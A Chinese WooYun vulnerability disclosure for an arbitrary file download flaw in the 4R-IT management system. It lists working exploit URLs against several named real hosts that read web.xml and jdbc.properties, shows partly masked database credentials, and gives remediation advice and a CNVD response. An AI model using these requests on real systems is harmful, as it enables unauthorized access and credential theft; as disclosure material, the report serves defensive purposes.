漏洞详情

披露状态:

2013-12-28: 细节已通知厂商并且等待厂商处理中
2013-12-31: 厂商已经确认,细节仅向厂商公开
2014-01-03: 细节向第三方安全合作伙伴开放
2014-01-10: 细节向核心白帽子及相关领域专家公开
2014-01-20: 细节向普通白帽子公开
2014-02-09: 细节向实习白帽子公开
2014-03-28: 细节向公众公开

简要描述:

站在大牛的肩膀上来打下酱油

详细说明:

系统和下面大牛的是同一个:

WooYun: 4R-IT管控系统存在通用性远程代码执行

cert应该已经通报过struts2的漏洞。



不过某一个action出了点问题,没有做严格的过滤限制,导致了此漏洞的产生

漏洞证明:

比较直观,看了URL直接访问就明白了,漏洞利用URL:

下载web.xml:

http://4r.xinjingxiang.com/download.action?fullPath=./WEB-INF/web.xml

20131227180858.png





http://4r.xinjingxiang.com/download.action?fullPath=./WEB-INF/classes/resources/config/jdbc.properties

http://119.145.128.106:88/download.action?fullPath=./WEB-INF/classes/resources/config/jdbc.properties

http://4r.gmyok.com:8/download.action?fullPath=./WEB-INF/classes/resources/config/jdbc.properties

http://www.xiangchi.com:99/download.action?fullPath=./WEB-INF/classes/resources/config/jdbc.properties

http://www.inm.cc:88/download.action?fullPath=./WEB-INF/classes/resources/config/jdbc.properties



获取到的数据库连接信息:

jdbc.driverClassName=com.mysql.jdbc.Driver

jdbc.url=jdbc:mysql://localhost:3306/cn4r?useUnicode=true&characterEncoding=utf-8

jdbc.username=root

jdbc.password=cn****



# mysql

jdbc.driverClassName=com.mysql.jdbc.Driver

jdbc.url=jdbc:mysql://localhost:3306/sep-jrsw?useUnicode=true&characterEncoding=utf-8

jdbc.username=root

jdbc.password=****sa



# mysql

jdbc.driverClassName=com.mysql.jdbc.Driver

jdbc.url=jdbc:mysql://localhost:3306/gmycn4r?useUnicode=true&characterEncoding=utf-8

jdbc.username=cn**

jdbc.password=***cn4r



如果开了外连的话……谁都懂了。

修复方案:

限制下目录,写死。也过滤如../等等字符吧。

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2013-12-31 10:10

厂商回复:

CNVD确认并在多个实例上复现所述情况,已经在30日由CNVD直接通报给软件生产厂商——北京锡恩公司处置。

最新状态:

暂无


漏洞评价: